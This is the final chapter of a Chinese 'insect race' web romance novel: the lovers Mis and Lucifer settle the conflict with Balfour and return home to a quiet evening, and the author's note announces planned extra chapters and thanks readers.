弥斯狠狠拧了一把大黑虫的腰,真硬啊,拧不动,但好在大黑虫还算识趣放开了他,“他以前帮过我。” 路西法松开是因为战场已经处理干净了,只依稀还有几只医虫在给伤虫处理伤口。 弥斯偷偷瞟了一眼,好多冲都受伤了啊,果然争端对双方都没有益处,巴尔福的虫他就不管了,路西法带过来的虫真的要给他们发一笔大大的奖金。 “真是没想到宗斯亚还和你有过接触,毕竟他好像脑子不太正常,巴尔福从来不放他单独出门,生怕他出去丢虫,失了他S级的脸面。” 维克尔嘲讽道,在罗斯蒂亚的这段时间,他对宗斯亚还算是有些了解,真是无法想象这样的虫还有能力帮助别虫。 弥斯皱眉,他也不太理解为什么当年宗斯亚愿意帮他,但帮了就是帮了,滴水之恩尚且要涌泉相报,所以他哪怕再恨罗斯蒂亚,也不会对无辜的虫动手。 “三年前,他送过我一支治疗液,算是救过我的命。” 三年前?治疗液?维克尔突然想起了什么,闭上嘴不再多问,“是吗,挺好的。” 又聊了几句,路西法就抱着虫离开了。 回家的路上,弥斯还有些唏嘘,“以前巴尔福打通了雄保会,现在我们也这样对他,虽然挺爽的,但是总觉得有些说不上来的感觉。” 路西法:“他当年可是丝毫没有考虑过你能不能活下来,你还留他一条活路,已经很善良了,不要多想。” 当然,让巴尔福离开帝星是雄主的想法,路西法肯定是支持的,但是离开之后的事情,就与弥斯无关了。 一只意图谋杀雄主的S级雄虫,怎么想都太危险了,既然放在哪里他都无法放心,那自然要让尊贵的S级雄虫发挥完余热再死喽,军事监狱会好好利用这百年难得一见的高等级雄虫。 能不能从那些凶残的雌虫手里活下来就看巴尔福的造化了,但就算最后活下来,路西法也会派虫送他最后一程的,斩草就要除根,不然早晚会生起别的祸事。 不过这些事情,他不会让雄主知道的,包括今天死的那些雌虫还有那只已经失了神智的虫,反正都不重要了,不是吗? 弥斯也觉得自己矫情了,做都做了,想那么多干嘛。 到家的时候,天边的彩霞刚刚好,弥斯牵着路西法的手,慢腾腾地往小菜园走,凉风习习,真是难得的好日子。 事情既然全部了结了,为了庆祝,弥斯今天晚上要亲自下厨,小青菜肯定是必不可少,辣椒也是。 平淡得泛不起涟漪的日常,或许会成为两只相爱的虫以后生活的常态,弥斯那些年苦苦追求而不得的美好,总算在彩霞的余晖里迎来了新章。 ——正文完结—— 作者有话说:番外:两只虫的一则甜甜的日常(文案里最后一部分的内容) 1章 番外:IF线:假如救下弥斯的是路西法 福利番外:维克尔的故事 1章(主要是和弥斯有关的部分) 福利番外:校园线 读者大人们有其他想看的吗,懒大王会考虑一下,合适的话都会写的,如果没有,那么写完上面的就完结啦[撒花][撒花][撒花] 谢谢读者宝宝们的陪伴哦,爱你们[亲亲][亲亲][亲亲]